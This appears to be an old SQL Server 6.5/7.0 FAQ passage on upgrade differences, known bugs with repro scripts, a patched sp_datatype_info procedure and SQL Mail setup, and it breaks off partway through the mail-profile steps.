This is when SQL Server accesses a row on a page it checks the page header to see where on the page the row is. When this message appears, the page header looks corrupt. SQL Server will transparently retry the read a number of times - if the page is in cache already it will re-read from disk.

If the page header looks ok on retry then SQL will carry on - otherwise you will get other SQL messages indicating a permanent corruption.

Causes :-

1. Using NOLOCK on select statements. This could cause you to access a page whilst it is being updated/split and this error would occur. On retry the page should be fine.

2. Buffer corruption. Something has stomped over the page in memory - on re-read from disk it looks fine.

3. Duff server memory chip(s). You'll normally see lots of other abnormal behaviour in this situation.

4. Actual corrupt page. Let's hope you have a backup.


Q. How can I restrict the number of rows returned to my query in SQL Server?

A. With SQL 6.5 and below use the "set rowcount <n>" option.

e.g. SET ROWCOUNT 10
SELECT * FROM <tbl>

This option is still available with SQL 7.0, but this supports the TOP function as well which will optimise better so use this instead. Note that the database concerned MUST be in SQL 7.0 compatibility mode - run sp_dbcmptlevel <dbname> to check whether it is or not.

e.g. select TOP(10) from <tbl>


Q. Why can't I shrink my database any smaller than xxx Mb?

A. The probable reason for this is that you're still on 6.5 and below. With this setup you can only shrink a database back to the last portion of log. So if you defined a database as 400Mb data, 100Mb log you can never shrink it.

If you defined it as 400Mb data, 100Mb log and then expanded by 500Mb data you could then shrink down any/all of this last 500Mb assuming it wasn't being used.


Q. What does sp_sdidebug do?

A. It is used to turn on or off TSQL debugging. There is no user interface for it and no documentation.


Q. Should I upgrade to SQL 7.0? What are the known bugs?

A. Apologies for the length of this FAQ article, but there is a lot of stuff to cover.

General Stuff
-------------

SQL 7.0 generally has a much more stable and better performing kernel than SQL 6.5 SP5. For every bug you find with the basic kernel of SQL 7.0 there will be 20 known bugs with SQL 6.5 SP5, and an order of magnitude more of unknown ones. However saying that there are going to be a small percentage of queries that will run slower or fail under SQL 7 than under 6.5. As these are reported they will be improved/fixed in future service-packs, but the re-writes to make 98% of queries run faster is going to have a detrimental effect somewhere. Some specific points are noted later.

SQL 7.0 shouldn't be treated as a version 1 release - even though most of the code has been re-written, it has had far more testing (both internal and external to MS) than any previous version of SQL Server - though as always, if in doubt, wait for a service pack or two to come out and check the SQL newsgroups/mail lists to see the problems that early adopters are experiencing (if any). Note that SP1 is released.

A concerted effort was made to test and fix all reported bugs with 6.5 on the 7.0 code-base. In addition an automated testing tool (RAGS) that generated and validated hundreds of complex SQL queries every minute was written and run against SQL 7.0. (See http://research.microsoft.com/users/DSlutz/ for details).

Most of the original bugs/issues were with the new features such as text indexing, DTS gui and the MMC tools - many of these are cleared up in SP1. SP1 itself underwent a significant beta test.

Where you do get errors with the kernel these could well be to do with SQL 7's more strict checking of SQL/ANSI rules. Though many of these are picked up and even simulated (yes Microsoft deliberately reproduced broken code in some instances) under the 6.5 compatibility mode, you may find extra things "break" when you go to full SQL 7.0 mode. (see sp_dbcmptlevel in the docs). You need to go to SQL 7.0 mode for new syntax and stuff so it is recommended that you do this as soon as possible.

For any new release you are advised to apply and test on non-production systems first, and if at all possible do a stress-test so that any problems that only occur under stress are found before rolling out to a production system.

Some known bugs/issues with SQL 7 are discussed below - for the official current list search the Microsoft knowledgebase for sql70 and kbbug.

The rest of this article is entitled "SQL 7.0 - the Good, the Bad and the Ugly". Stuff that isn't in the documentation - or doesn't jump out at you from the docs. Also things to think about and check out before/during a SQL 7 migration. It isn't meant to be all encompassing, but read it in conjunction with the Microsoft supplied docs and Kb articles.

Install
-------

1. Some things to check before a SQL 7 upgrade :-

All db's are checkdb'd, newalloc'd and checkcatalog'ed
No db's are in suspect or loading status
Free space in master for new 6.5 system procs - 5Mb or so should do
At least 10Mb tempdb
At least 6.0 SP3 or 6.5 SP3 is required on the source system
Syscomments source is available for all sp's, triggers etc.

Good
----

1. Speed. Speed is overall much better than with 6.5 - there are exceptions, noted in the bad/ugly sections where known. As an example, the speed of a large batch processing suite was improved by 300% by going to SQL 7 from 6.5 - a 200% increase was achieved just by migrating with no changes and the extra improvements were made by optimiser fixes in SP1, plus changing bcp to BULK INSERT, parallel index creates and some re-writes of queries that were manually optimised in the past for SQL 6.5. The batch run consists of about 30 separate jobs each with 5-10 steps, consisting of bcp in of data, index creation, lots of select into's on criteria, lots of group by's/aggregation etc. Time taken has reduced from 10 hours to 3hrs 20 with no change in hardware/memory etc.

2. The optimiser in SQL 7.0 is far more powerful than in 6.5, utilising many more types of join, multiple indexes etc. It is worth looking at old SQL that may have been split into multiple steps in SQL 6.5 or earlier because the optimiser couldn't handle things like > 4 way joins or multiple aggregations. This SQL could be re-written back into one large query for better performance. The downside to all these optimiser improvements is that it can take significantly longer to work out the best query plan compared with 6.5 and can result in increased cpu usage.

3. Reliability. You should get far fewer AV's with SQL 7.0 than with 6.5. Also fewer database corruptions - to date, 6 months from SQL 7's RTM, there has not been a single instance of database corruption with SQL 7.0 that was not caused by hardware failure (info provided by Microsoft PSS).

N.B. I've found SQL 6.5 SP4 and above to be pretty resilient to corruption. Make sure all 6.5 systems are on at least SP4 - I've seen about a dozen systems needlessly fall victim to a pre-SP4 bug with LRU corruption when buffers get stressed on SMP systems.

4. Create indexes concurrently. Under 6.5 this would cause locks on system tables and the indexes would build serially. Under 7.0 if you kick off creates of non-clustered indices on the same table at the same time, from separate connections, they will all create concurrently. The re-use of the read-ahead buffers from the main table gives near linear performance. Especially useful for data-warehouse/MI type systems with lots of NC indexes on large tables.

5. Max Async IO. Under 6.5 if you allocated max async io "too high" then performance would nose-dive. With 7.0 this doesn't seem to be the case - the law of diminishing returns still applies, but max async io can be set much higher - even to the maximum of 255 - without worrying too much.

6. DBCC performance. On complex/fragmented databases I have seen DBCC performance for a full checkdb/checkcatalog of 60 times faster than the equivalent checkdb/newalloc/checkcatalog on a 6.5 system. For non-fragmented, simple databases where not so much disk head movement was needed anyway under 6.5 I still see dbcc times that are twice as fast.

7. Query parallelism. Really does work. Seen large queries greatly increase in performance by running on an otherwise identical 4-way box compared to a 2-way.

8. Database size. Due to the new 8K page size and improvements in the storage of text/index data most databases will shrink in size when migrated to SQL 7. This isn't guaranteed and there are lots of factors involved (see NC index stuff in the ugly section), but reports of 50Gb SAP systems shrinking to < 30Gb are common.

9. Under 6.5 the realistic maximum size systems that you could put on SQL Server was around the 300Gb mark due to backups/healthchecks/recovery taking too long. With 7.0 this rises to around the 1Tb mark and quite possibly higher given appropriate hardware. (SQL 7 has been backed up at 600Gb per hour using a stripe of 24 AIT tape drives - and more importantly restored at 500Gb/hour!).

Bad
---

1. BCP slower. Under many circumstances a BCP in to a file with few indices will be slower under SQL 7.0 than 6.5 - this is probably due to the overhead of using OLE-DB internally, however it should mean an end to problems caused by using fast-bcp and it's bypassing of certain SQL checks. With many NC indexes it is quicker than 6.5 though. Using the new BULK INSERT command returns it to as fast or faster than BCP due to the removal of context switches. Setting table-lock on really helps due to the extra overhead of row-locks. I've seen jobs reduce from 80 mins to 50 mins with this change.

2. MMC. The MMC is dog-slow regardless of the power of the machine it is being run on. Service Pack 1 noticeably improves the speed (and reliability) of MMC.

3. If you repeatedly open server-side cursors with small resultsets then you will see significantly slower performance from SQL Server. This because the query is being optimised each time and this takes time with SQL 7. This is fixed in SP1 (there was a trace flag needed for the original hotfix but the default behaviour is changed in SP1). After applying SP1 the plans generated for cursors are kept like they are for stored-procedures. See Q197800 for more details.

4. Large queries monopolising system. This was an issue with SQL 6.5, but if anything it is "worse" with 7.0 - the queries generally complete a lot quicker with 7.0 though. If you have a very large query running and it grabs all the processors to run it will make the system very slow/unresponsive to other users and queries. SQL dynamically decides how many processors to use for a query when it kicks off, and if there is no other activity at the time it will be given all the processors by default. This is not necessarily what you want. The max number of processors a query can use can be set per query (MAXDOP hint) or via sp_configure for a server wide setting - the default is all cpu's. Once a query has started and has grabbed all the cpu's it can't give them back.

5. Long stored-procedures that create lots of temporary tables as they go can take a lot longer to run under SQL 7.0 - this is due to SQL 7.0 re-evaluating the sp every time a new temporary table is created. The idea behind this is that it can then choose the best access plan, but re-evaluating is an overhead. Create all temp tables at the start of the stored-proc if possible.

If you have two stored-procedures, the first creating a temp table, calling a second sp, and second sp manipulating it, this will run fine as long as only one copy of each is running at a time. If more than one process runs concurrently then sp2 will re-compile. Users have reported 10-20 times performance degradation in this scenario. To work-around it either bring the sp2 code in-line to sp1, or create temporary sp's uniquely named for every spid and call them to prevent re-compilation.

6. From another FAQ entry. Q. If I lose my data file (MDF) in SQL 7 I can't backup the log to recover to a point in time - why not?

A. A small oversight on MS's part - which will be fixed in the next major (not service-pack) release of SQL.

Under 6.5 you would do BACKUP LOG <dbname> TO <device> WITH NO_TRUNCATE.

Under SQL 7 this gets you an error
Server: Msg 3446, Level 16, State 1
Primary file not available for database <xx>

This is because the metadata that tells SQL where the files are for the database are in the primary file (which you've just lost!) - in SQL 6.5 this info was held in system tables in master.

A workaround for this is :-

Use only ONE file in the primary file group (the primary file), and place this file on the same drive (mirrored) as your log files. This gives it the same protection as the log.

Add another file group, with one or more files for data - obviously this goes on different disks to the log. Mark this second file group as the default (Alter database)

Then, when your data file is lost, "backup log with no_truncate" will work because the primary file with the metadata in (but no user data) is still available.

7. Nested raiserror's cause an AV. Repro script below. (This error only occurs when a global variable is used)

create procedure PROC2
AS
RAISERROR('Test Error',16,-1)
go
create procedure PROC1
AS
exec PROC2
if @@ERROR <> 0
begin
RAISERROR(@@ERROR,16,-1)
return
end
go
exec PROC1

8. If you have a trigger on a table with an identity field and the trigger inserts into another table without an identity then the value of @@identity is set to NULL when the trigger finishes. This is different to 6.5. Fixed in SP1.

Ugly (or just different)
------------------------

1. SQL 7.0 is much more "fussy" about things like invalid dates and times, lengths of data, numeric overflows etc. SQL 6.5 and below would often just convert stuff to NULL if it couldn't handle it or truncate a string if too long and not tell you. You can revert most of this back to the SQL 6.5 behaviour if you "SET ANSI WARNINGS OFF". Many of these changes only appear when you switch a database from 65 compatibility mode to 70. I prefer to fix the SQL/code/data concerned as the SQL 7.0 behaviour is better.

2. The MMC EM interface has no option to set column level permissions via the gui. This won't be fixed until the Shiloh release, so it's back to TSQL until then.

3. If a user/login doesn't have permissions to a database they can still see it in the drop down ISQL/W box or in SQL EM. This is a difference from 6.5 that may be fixed in SP2. It is due to the overhead of scanning all the NT users/groups in the new integrated role security.

4. 16-bit ODBC applications may have problems with the new potential extended size of char data (even if the new size isn't used) and/or you may get gpf's in vbdb300.dll when accessing SQL Server. There is a separate FAQ entry on this one with a fixed (but unsupported because Microsoft didn't make the changes) sp_datatype_info that resolves these problems. Microsoft should be incorporating these changes in SP2.

5. The new 3.70 ODBC drivers have a few compatibility issues. e.g. I have seen odbc call failed errors with complex Access 97 front ends and MDAC 2.1 drivers (problem fixed in MDAC 2.5 beta and 2.1 SP2). Also if you use PASSTHRU then integer columns (datatype int4) are returned as decimal instead when the ODBC datasource is configured as "use regional settings".

6. SQL 7 is supposed to grab/release memory as needed to work with varying workloads. It does this quite well unless Exchange 5.5 SP2 or below is on the machine in which case they don't get along too well. Presumably this will be fixed in SQL 7.0 SP2 / Exchange 5.5 SP3...

7. The enhanced optimiser as well as improvements in disk throughput mean that SQL 7.0 is more likely to be cpu bound than 6.5 was. Most systems will still be i/o bound though. The new sp_datatype_info used extensively for ODBC connections is much more heavy on cpu due to the extra calculations, increased numbers of datatypes and attempt at backwards compatibility. If you constantly break/make connections this can add up - one user reported a system running at 92% cpu, largely because of this. When he amended the proc to just return a fixed set of types stored in a permanent table for the purpose the cpu for the system dropped from 92% to 72%.

8. Some databases/tables may grow in size with SQL 7. One reason is because NC indexes point to the clustering key if available rather than a page number. With long keys this can increase the size of the indexes significantly. Watch out for this if any key sizes are very large.

9. Another reason for tables growing in size is that NULL columns used to take up no space at all, but that is no longer true. So a NULL CHAR(10) now uses 10 bytes rather than 1, a NULL MONEY now uses 8 instead of 1. A NULL varchar will take 0 as before.

10. DECIMAL and NUMERIC data can take up a bit more space. The tables for 6.5 and 7.0 respectively:

SQL 6.5
Precision Storage bytes
1 - 2 2
3 -4 3
5-7 4
8-9 5
10-12 6
13-14 7
15-16 8
17-19 9
20-21 10
22-24 11
25-26 12
27-28 13
29-31 14
32-33 15
34-36 16
37-38 17

SQL 7.0
Precision Storage bytes
1 - 9 5
10-19 9
20-28 13
29-38 17

11. Watch out for 16-bit db-lib applications and network packet size (sp_configure option). The default with SQL 6.0 and below was that the client dictated the network packet size, and would default to about 1500 bytes. With 6.5 and 7.0 the server option overrides this if no explicit "dbsetlpacket" is issued. The default server size is 4096 and so this significantly increases the client memory buffer space needed. With multiple 16-bit db-lib applications, or a db-lib application that makes multiple connections this can easily overflow the fixed size allowed for all connections in the client buffers and caused out of memory errors, gpf's or hangs. It doesn't matter whether it's on an NT client - the restriction is in the 16-bit db-libs and it's use of "low dos" memory. To resolve either change the application to specifically ask for a smaller packet size or reduce the server "network packet size" via sp_configure. (Note this is a SQL Server TDS application packet size and in no way relates to actual physical network packet sizes that are configured per NIC).

12. When you do an outer join to a table with a bit datatype on SQL Server 6.5 and there is no corresponding record, the bit column yields a 0 instead of a null. On SQL Server 7, the same query yields a null.

13. Constants returned by a case statement are implicitly rtrim'ed. Will be fixed in SP2.

14. On an insert if a trigger fires it thinks all columns have been updated even if some fields have not been explicitly inserted. Fixed in SP1.

15. SQL Server 7 no longer guarantees that inserted records can be retrieved in the same order UNLESS you use an ORDER BY clause or have a clustered index. In SQL 6.5 this would work without them. With 7 if you were using this facility to create a table just to bcp the contents out then you will need to insert some sort of ascending key to keep the rows in order.

16. Changes in binary handling.

The format for display of binary (hex) data in isql/w from version 6.x is in lower case, but in isql/w from 7.0 is upper case.

The @@microsoftversion variable is documented in 6.x books-online as follows
@@MICROSOFTVERSION - Is a version used internally to track the current version of the server. Note that in 7.0 the major version is now in the most significant byte.

The order of the date and time components in convert( binary(8), getdate() ) has been reversed.

See the code below for examples of this.

SELECT convert( binary(4), @@microsoftversion ), convert( binary(8), getdate() )

<SQL Server 6.x (6.0 in this case)>
---------- ------------------
0x00060097 0x00e42af600008dcb

<SQL Server 7.0 build 623>
---------- ------------------
0x0700026F 0x00008DCB00E415AB

17. With 6.5, you could call stored procedure calls from ASP without prefixing them with the "exec" command. With SQL 7.0 you have to have the exec command there.

18. SQL Server 6.5 internally treated nullable chars not as fixed length, but as varchars. SQL 7 does not treat them this way when the compatibility mode of the db is set to 70. If you depend on the 6.5 behaviour then you might get different SQL results.

e.g.

declare @var1 char(50)
select @var1 = 'option_cmt_des_txt_no'
select @var1
declare @var2 char(50)
select @var2 = right(@var1, 6)
select @var2

With 6.5 would return 'txt_no'
With 7.0 would return blanks

Miscellaneous
-------------

1. SP1. SP1 is heartily recommended. A few sub-optimal optimiser decisions are fixed. A lot of bugs and speed problems with the gui stuff like MMC and DTS are fixed. Overrall a very stable service pack with lots of improvements. There's no reason to run SQL 7.0 without it.

2. IE5 and Win9x. A bug in SQL's use of a common internet control causes crashes on Win9x machines with IE5 installed. SP1 fixes this.

3. SQL Server out of locks. You can still get this message even though SQL Server dynamically allocates locks. What the error really means is that SQL Server is out of memory - the lock manager has been denied it's request for more memory. Either give the machine more memory or reduce the load SQL Server is under.

4. DTS. This is a marvellous tool, but had quite a few glitches pre-SP1. One "feature" that is still there is that if you refer to columns in a transform by their column name it can be significantly slower than by their column number - i.e. DTSSource("EmployeeID") rather than DTSSource(13). One DTS job sped up from 2hrs 45mins to 32 mins just by hard-coding column numbers instead of names.

5. Watch out for the default setting of SET CONCAT_NULL_YIELDS_NULL. This is ON which means that SELECT ‘abc’ + NULL yields NULL. This has been known to break some applications.

6. Remember that when upgrading a 6.5 database it stays in 65 compatibility mode. In this mode things like the TOP command don't work - you need to go into 70 mode for the new keywords to work properly.

7. Log files. These can get very big if set to autogrow. If you then try to shrink them with dbcc shrinkfile invariably it doesn't work too well. This is because the log file is internally divided into smaller virtual logs and shrinking will only happen when the active part of the log is at the beginning of your log file. You can use the dbcc loginfo(dbname) command to see where the active part of the transaction log is. If it is at the end of the logfile you could write a small while loop that does some inserts in a test table to move the active part to the beginning of the real file. Then the shrinkfile command should work ok - note that shrinkfile works asynchronously. As a last resort you can always checkpoint the database, shutdown SQL Server and delete the physical logfile. When SQL restarts it will create a new 2Mb log device.

8. Putting the same column into a group by twice causes an AV. It's stupid and basically incorrect syntax to do this anyway, but SQL 6.5 let it go. Repro script based on Northwind.

SELECT Employees.EmployeeID,ProductName,
UnitPrice=AVG(ROUND(Od.UnitPrice, 2)),
SUM(Quantity),
Discount=SUM(CONVERT(int, Discount * 100)),
ExtendedPrice=SUM(ROUND(CONVERT(money, Quantity * (1 - Discount) *
Od.UnitPrice), 2))
FROM Products P
inner join [Order Details] Od on (Od.ProductID = P.ProductID )
inner join Orders on (Od.OrderID = Orders.OrderID)
inner join Suppliers on (P.SupplierID = Suppliers.SupplierID)
Inner Join Customers on (Orders.CustomerID=Customers.CustomerID)
Inner join Shippers on (Orders.ShipVia=Shippers.ShipperID)
Inner join Employees on (Orders.EmployeeID = Employees.EmployeeID)
Group by Employees.EmployeeID,P.ProductID,
P.ProductName,Employees.EmployeeID
with cube
Order by Employees.EmployeeID

9. Msg 8623,Internal Query Processor Error: The query processor could not produce a query plan. This happens with some complex queries - especially on single-processor machines. Some queries that fail on 1 processor machines work ok on multi-processor machines.

10. Tempdb performance may be affected by the auto-creation of statistics. You can experiment with turning off this feature just for tempdb and seeing if it helps.

11. sysfiles virtual table does not behave as others do in stored procs located in master and named beginning in sp_. i.e. write your own sp in master called sp_my_name_is_Norm then do:
use SomeOtherDatabase
go
exec sp_my_name_is_Norm

then sysfiles will still refer to the master database files.


Q. What happened to the gui for column level permissions in SQL 7?

A. It got missed out. It will re-appear in a future SQL version/serice-pack.

For now you can use standard TSQL commands/sp's. See the SQL Books Online (BOL) for details.


Q. Under SQL 6.5 a user of ISQL/W or other tools could only see the databases they had permission to in the drop down boxes, not under 7.0, why?

A. This is because under SQL 7.0 the code necessary to evaluate all the roles/NT groups etc. was deemed too expensive. However this is a legitimate security concern and Microsoft are thinking about changing the way this works back to the old behaviour.


Q. Why does my ODBC v2 application not work with SQL 7? Why do I get a gpf in VBDB300.DLL?

A. This is probably because the datatypes returned by sp_datatype_info to the application are not understood. Hopefully Microsoft will provide an official fix with SP2 for SQL 7, but for now here is a modification to the stored-procedure concerned. Note that changing Microsoft supplied stored-procs is not recommended or supported and if something goes wrong with the new SP you are completely on your own. It is supplied as is, with no warranty!

It is based on the SQL 7 SP1 version, so apply SP1 before making this change.

Look for ** to see where the changes are

--
-- Script to update Microsoft supplied version of sp_datatype_info to work properly with
-- ODBC v2 applications and to fix a gpf it causes in vbdb300.dll
--
-- Note the SP modified here is the one from SP1 for SQL 7.
-- Changes made are :-
--
-- 1. Do not return any types below -7. These are nchar, ntext etc. that are SQL 7 only
-- and not understood by ODBC2 applications
--
-- 2. For varchar/char do not return 8000 as the length, return 255
--
--

USE master
go

DROP proc sp_datatype_info
go

SET QUOTED_IDENTIFIER ON
go

--
-- Object will be created with MSShipped flag
--
EXEC sp_MS_upd_sysobj_category 1
go

/* Procedure for 7.0 server */
CREATE proc sp_datatype_info
(@data_type int = 0, @ODBCVer tinyint = 2)
as
declare @mintype int
declare @maxtype int

if @ODBCVer <> 3
select @ODBCVer = 2
if @data_type = 0
begin
select @mintype = -32768
select @maxtype = 32767
-- ** Change started **
-- For ODBC version 2 apps don't let them see new types
if @ODBCVer = 2
begin
select @mintype = -7
end
-- ** Change ended **
end
else
begin
select @mintype = @data_type
select @maxtype = @data_type
end

select
convert(sysname,case
when t.xusertype > 255 then t.name
else d.TYPE_NAME
end) TYPE_NAME,
d.DATA_TYPE,
convert(int,case
when d.DATA_TYPE in (6,7) then d.data_precision /* FLOAT/REAL */
when type_name(d.ss_dtype) IN ('numeric','decimal') and
t.xusertype <= 255 then @@max_precision /* DECIMAL/NUMERIC */
-- ** Change Started **
-- Reduce max length returned for char/varchar for ODBC 2 apps
when @ODBCVer = 2 AND OdbcPrec(t.xtype, t.length, t.xprec) = 8000 then 255
-- ** Change ended **
else OdbcPrec(t.xtype, t.length, t.xprec)
end) "PRECISION",
d.LITERAL_PREFIX,
d.LITERAL_SUFFIX,
e.CREATE_PARAMS,
convert(smallint,case
when d.AUTO_INCREMENT = 1 then 0 /* IDENTITY*/
else TypeProperty (t.name, 'AllowsNull')
end) NULLABLE,
d.CASE_SENSITIVE,
d.SEARCHABLE,
d.UNSIGNED_ATTRIBUTE,
d.MONEY,
d.AUTO_INCREMENT,
convert(sysname,case
when t.xusertype > 255 then t.name
else d.LOCAL_TYPE_NAME
end) LOCAL_TYPE_NAME,
convert(smallint,case
when type_name(d.ss_dtype) IN ('numeric','decimal') and t.xusertype > 255 then TypeProperty (t.name, 'Scale')
else d.numeric_scale
end) MINIMUM_SCALE,
convert(smallint,case
when type_name(d.ss_dtype) IN ('numeric','decimal') and d.AUTO_INCREMENT = 0 and t.xusertype <= 255 then @@max_precision /* DECIMAL/NUMERIC */
when type_name(d.ss_dtype) IN ('numeric','decimal') and d.AUTO_INCREMENT = 1 then 0 /* DECIMAL/NUMERIC IDENTITY*/
else TypeProperty (t.name, 'Scale')
end) MAXIMUM_SCALE,
d.SQL_DATA_TYPE,
d.SQL_DATETIME_SUB,
NUM_PREC_RADIX = convert(int,d.RADIX),
INTERVAL_PRECISION = convert(smallint,NULL),
USERTYPE = t.usertype
from master.dbo.spt_datatype_info d
INNER JOIN systypes t on d.ss_dtype = t.xtype
LEFT OUTER JOIN master.dbo.spt_datatype_info_ext e on
t.xusertype = e.user_type
and isnull(d.AUTO_INCREMENT,0) = e.AUTO_INCREMENT
where
d.DATA_TYPE between @mintype and @maxtype
and (d.ODBCVer is null or d.ODBCVer = @ODBCVer)
and (t.xusertype <= 255 or
isnull(d.AUTO_INCREMENT,0) = 0)
order by 2, 12, 11,
case
when t.usertype=18 then 255
else t.usertype
end
go

GRANT EXEC ON sp_datatype_info TO public
go

--
-- Turn off MSShipped flag for any other SP's (not that we're creating any)
--
EXEC sp_MS_upd_sysobj_category 2
go

--
-- Allow updates and hack sysobjects directly. Make sure sp is marked as with
-- quoted identifiers and MSShipped
--
exec sp_configure 'allow updates', 1
reconfigure with override
go

update
sysobjects
set
status = 0x80000009
where
name = 'sp_datatype_info'
go

exec sp_configure 'allow updates', 0
reconfigure with override
go


Q. Should I apply SP1 for SQL 7? Are there any known issues?

A. SP1 for SQL 7 underwent extensive beta-testing for release and so should be pretty stable.

However, it contains a LOT of fixes and therefore new or regressed bugs are inevitable. When these are known they are listed at the bottom of the article.

For any new release/servicepack you are advised to apply and test on test systems first, and if at all possible do a stress-test so that any problems with blocking/locks are found before rolling out to a production system.

All service-packs come with problems, however in most cases they fix a lot more problems than they cause. 99% of bugs you may find in SP1 will be present in the gold release and all previous service packs as well - they simply aren't fixed in SP1.

Should you apply it? Yes.

SP1 is available via the downloads option from http://support.microsoft.com/support/sql. Also ftp direct from
ftp://ftp.microsoft.com/bussys/sql/public/fixes/usa/SQL70

Service Pack 1 - Known new Bugs/Regressions
-------------------------------------------

1. A query which uses a like on an indexed unicode column will behave correctly prior to SP1. After SP1 is applied the query will return no records. This is fixed in build 710.

2. SP1+ ODBC driver (Build 690-820) cannot SQLExtFetch() rows with more than one TEXT or BINARY column, when a server cursor is used. MS bug number 56513. Workarounds are :-
(1) Use SQLFetch instead of SQLExtendedFetch
(2) Don't use SQLSetStmtAttr to ask for a keyset cursor. Just take the default.
(3) Use an older version of the driver (even 3.70.0623 and below work fine)

===

v1.04 2000.02.05
Applies to SQL Server versions : 7.0
Related FAQ articles : sql7differences
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. Why do I get an error in sqlsspi.c?

A. Full message is :-

Assertion Failed!
Program:C:\"Application Name"
File: ../src/sqlsspi.c
Line: 120
Expression: Count

The reason for this is that you are probably running a Win9x client/server that does not have the "Client for Microsoft Networks" installed. This is needed for (amongst other things) accessing network security information.


Q. What is the equivalent of an Oracle synonym in SQL Server?

A. Create a view.
create view titlessynonym as select * from titles


Q. Does SQL Server support tape-loaders?

A. SQL doesn't have tape loader support, so it will only use the first tape in a device.

You can use tape loaders with SQL Server by buying one of the 3rd party backup tools that work with SQL Server agents. These do dumps from SQL Server via named-pipes (6.5) or VDI (7.0) and then utilise their own drivers for device support.

Examples are :-

BEI Ultrabac www.ultrabac.com
Cheyenne Arcserve www.cheyenne.com
Legato www.legato.com
Backup Exec www.seagatesoftware.com
ADSM www.tivoli.com


Q. Does SQL Server support before and after (pre and post) triggers? What about row vs set triggers?

A. SQL Server only supports "after" triggers, not "before" ones. You can see what the "before" data is by looking at the virtual tables created that are accessible from the trigger. These tables are called inserted and deleted.

SQL Server triggers only fire once per query, so they are set triggers rather than row triggers.

SQL Server does not support select triggers.


Q. Where can I get examples of XP code for SQL Server?

A. For SQL 6.5 download the PTK from http://support.microsoft.com/download/support/mslfiles/PTK_I386.EXE

For SQL 7 look on the CD under \devtools


Q. I can run some SQL code or a DTS package myself fine, but when I run it using the SQL Scheduler it doesn't work - why not?

A. When run via SQL Executive/SQL Agent, the job runs with the NT credentials of the NT user account that the SQL Executive/SQL Agent service is running under. This account needs to have access to the network resources concerned - i.e. shares, files, printers etc.

Check which account is being used by going to control panel/services/startup and checking.

If it is using the LocalSystem account then this has no network access.

Any network resources you do use, make sure they are referenced by UNC name and not a specific drive letter. i.e. \\server1\bcps and not H:\.


Q. How can e-mail with SQL Server without using an MS-Mail or Exchange server?

A. A variety of methods :-

1. Use xp_cmdshell to run an SMTP sendmail program.

2. Use an XP with built-in SMTP functionality - http://www.spudsoft.demon.co.uk/code/index.html

3. Configure NT's mapi interface to talk to SMTP - try the following instructions for SQL 6.5. (note these aren't written by the author, and haven't been tested either, but they do, allegedly, work)

Set up Microsoft SQL Server service. Note: Microsoft SQL Server must start up using a user account that has been given administrator privileges. The account must also allow the user to logon as a service. This allows Microsoft SQL Server to interact with email. Note: By default, SQL Server 6.5 creates an account named "SQLExecutiveCmdExec". Verify that this account exists and is set up properly:

1. Click on the "Start" button
2. Programs
3. Administrative Tools ( Common )
4. User Manager for Domains, if the option is "User Manager" go to step 9.
5. When the User Manager program loads, select "Users" from the menu.
6. Choose the menu option "Select Domain"
7. Type in the name of the machine, e.g. "DBASQLTEST"
8. Click the OK button.
9. You should now have a list of users on the machine.
10. If the account "SQLExecutiveCmdExec" exists: double-click the user, a dialog box will appear. Skip to step 18.
11. Select "Users" from the menu.
12. Choose the menu option "New User".
13. A dialog box will appear.
14. In the User Name field, type "SQLExecutiveCmdExec"
15. In the Full Name field, type "SQLExecutiveCmdExec"
16. In the password field type a unique password (record you password in a safe place, you will need it later in this setup )
17. In the Confirm Password field retype the password you just entered.
18. Uncheck the box next to "User Must change Password at Next Logon".
19. Check the box next to "User Cannot Change Password".
20. Check the box next to "Password Never Expires".
21. Click on the "Groups" button.
22. The Group Membership dialog box will appear.
23. Add the group "Administrators"
24. Click the "OK" button to close the Group Membership dialog.
25. Click the "OK" button to close the User Properties dialog.
26. Select "Policies" from the menu.
27. Choose the menu option "User Rights".
28. The User Rights Policy dialog box will appear.
29. Check the box next to "Show Advanced User Rights"
30. On the drop down select list, choose the option "Log on as a Service".
31. Click on the "Add" button.
32. The "Add Users and Groups" dialog box will appear.
33. On the drop down select list, choose the current computer name, e.g. "\\SERVERNAME*".
34. Click the "Show Users" button.
35. Scroll down the list of users and select "SQLExecutiveCmdExec".
36. Click on the "Add" button.
37. The user "SQLExecutiveCmdExec" should now be in the "Add Names:" list.
38. Click on the "OK" button to close the "Add Users and Groups" dialog.
39. Click on the "OK" button to close the "User Rights Policy" dialog.

Install Windows NT Messaging. Note: Next, make sure Windows NT Messaging
is installed on the Microsoft SQL Server machine. · Note: SQLmail uses
Windows Messaging, so it needs to be configured for proper operation. Note:
This can be verified by:

1. Open the Control Panel and double click on Add/Remove Programs.
2. Select the Windows NT Setup tab and scroll to the bottom of the list box that appears.
3. Verify that the Windows Messaging check box is checked.
4. If it is not,check it now.
5. Click OK.
6. At this point, if you need to install Windows Messaging you will need to supply the Windows NT CD.

Set Up Mail Services · Note: You will need two internet mail accounts before
continuing. 1. You will need a POP mail account login, password and server
name. 2. You will need a SMTP mail account login, password and server name.
3. Next, close all programs on the Microsoft SQL Server machine and log in as
a new user. Use the SQLExecutiveCmdExec account.

1. On the desktop, right-click the "Inbox" icon, and select Properties
option. Here you will need to add anew profile for the SQLExec user. Click on
the "Add" button to begin creating a Windows Messaging Profile: 2. Uncheck
the box next to "Microsoft Mail" (Unless there is an Exchange Server
Available) 3. Ensure the box next to "Internet Mail" is checked. 4. Click on
the "Next" button. 5. You will be asked for the method to connect to the mail
server, check the radio button next to "Network". 6. Click on the "Next"
button. 7. You will be asked to specify the Mail server name or IP address,
enter either one here. 8. Click on the "Next" button. 9. You will be asked to
choose the mode for transferring messages. Check the radio button next to
"Automatic". 10. Click on the "Next" button. 11. You will be asked for the
email address, enter it in the Email Address field. 12. Enter
"SQLExecutiveCmdExec" in the Full Name field. 13. Click on the "Next" button.
14. You will be asked for the mailbox name. Enter a mailbox name in the
mailbox name field, e.g. userid. (This is the mail server login name ). 15.
Enter the password for the mailbox name in the password field. (This is the
mail server login name's password ). 16. Click on the "Next" button. 17. You
will be asked for a location for your personal address book. Use the
default. 18. Click on the "Next" button. 19. You will be asked for a location
for your personal folder file. Use the default. 20. Click on the "Next"
button. 21. You should receive the message that setup is "Done!" 22. Click on
the "Finish" button. 23. In the profiles list box, you should now see an
entry for "Windows Messaging Settings". 24. Click on the "Copy" button. 25.
You will be asked to name the new profile. Type "SQLExecutiveCmdExec". 26.
Click "OK" to commit the copy. 27. In the profiles list box, you should now
see an entry for "SQLExecutiveCmdExec". 28. In the drop down select list for
"When Starting Windows Messaging, use this profile:", choose the newly
created profile, "SQLExecutiveCmdExec". 29. Click on the "Close" button to
